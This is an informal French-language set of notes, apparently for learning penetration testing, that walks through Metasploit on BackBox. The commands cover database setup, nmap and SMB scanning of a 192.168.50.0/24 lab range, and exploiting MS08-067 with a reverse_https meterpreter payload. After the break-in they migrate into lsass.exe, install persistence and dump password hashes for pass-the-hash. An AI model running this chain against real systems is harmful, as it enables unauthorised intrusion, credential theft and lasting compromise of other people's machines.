Metasploit Framework (msf)

Metasploit Framework

lance console sudo msfconsole puis connection à par ex PostgreSQL  MSF> db_connect <username>:<password>@127.0.0.1/<DATABASE>

vérif db connection, et création d'un workspace pour nos données

  • db_status
  • worspace  (répond default)
  • workspace -a customer1-dmz1

on va lancer nmap pour tester tcp connect (-sT). En lancant (prompt msf>) db_nmap on garde tout en db:   db_nmap -A -sT 192.168.50.0/24
voir les hosts dans son worksapce:  hosts

Mettons qu'on cherche des failles SMB... utiliser le script avec db_nmap -sT --script smb-check-vulns.nse -p U:137,T:139 192.168.50.20

Read this article from spareclockcycles.org

modules auxiliaires de Metasploit

sont dans /opt/backbox/msf/modules/auxiliary/scanner/smb
set permet de def les options (host à tester), exploite lance la tache ; setg sert à def un paramètre global

msf> use auxiliary/scanner/smb/smb_version
msf  auxiliary(smb_version)> show options
msf  auxiliary(smb_version)> set RHOSTS 192.168.50.20
msf  auxiliary(smb_version)> exploit
msf  auxiliary(smb_version)> back
msf>

cf Metasploit Unleashed website on Auxiliary Modules.

msf> db_import /home/user/report.nbe
msf> hosts -c address,name,os_flavor,svcs,vulns              -c indique col
msf> vulns -i
msf> search ms09_001  on ch dans msf un exploit

Conf des exploit

  • module: component of Metasploit Framework (e.g. scanner,payload)
  • vulnerability: security flaw in software that allows for unintended use
  • exploit: code that makes use of a vulnerability to execute arbitrary commands
  • stager: ‘magic tricks’ that allow your payload to execute successfully
  • payload: arbitrary commands  in shellcode (e.g. DoS or a remote shell)

Ex ms08-067 (de rank great):   
msf> use exploit/windows/smb/ms08-_067_netapi
msf  exploit(ms08-_067_netapi)>   show options
msf  exploit(ms08-_067_netapi)>   set RHOST 192.168.50.20      RHOST est la target
msf  exploit(ms08-_067_netapi)>   setg LHOST 192.168.50.10     et LHOST est IP sur notre BackBox qui écoutera l'exe du playload (param global)

choix playload
Il y en a de nbreux types, dont: ces shells tourne de facons différentes

meterpreter shell (designed as a post-exploit shell)

windows shell

powershell

bind shell (RHOST crée un socket that is called by LHOST)

reverse tcp shell (RHOST calls out to LHOST on LPORT)

reverse tcp allports (RHOST tryies every tcp port to reach LHOST)

reverse https shell (SSL tunnelled)

Avantage reverse shell: si la target atteint notre LHOST, c'est plus facile de traverser les réseaux.

show payloads ou tapper et compléter avec TAB  set playload windows/meterpreter/reverse_https
msf  exploit(ms08-_067_netapi)> show options
msf  exploit(ms08-_067_netapi)> show advanced
msf  exploit(ms08-_067_netapi)> exploit

taches de base "post-exploit

dans /opt/backbox/msf/modules/post il y a des scripts à lancer avec run (par ex /opt/backbox/msf/modules/post/windows/gather/tcpnetstat.rb)
Mettre chemain complet (ici, get_local_subnets fait partie de meterpreter, dc pas besoin du chemin)
run get_local_subnets
run post/windows/gather/tcpnetstat
    montre les ports ouverts de RHOST
run post/windows/gather/checkvm      vm ou pas?
ps                      -> on note id lsass.exe, ici 452
migrate 452        migrer d'un processus à l'autre (et changer de user)
run persistence  peut-etre détecté par antivirus, mais restera après le boot
run hashdump  Qui a besoin du pw alors qu'on peux utiliser son hash? Read more about the pass-the-hash technique.

Links on Meterpreter

Source (en anglais, daté de mai 2013): http://sinflood.net/?p=283

Other web sites on msf

metasploit-unleashed est un cours (anglais) sur msf

Metasploit attack on Win 7 x86/x64 - Detailed for beginners http://www.backtrack-linux.org/forums/showthread.php?t=32931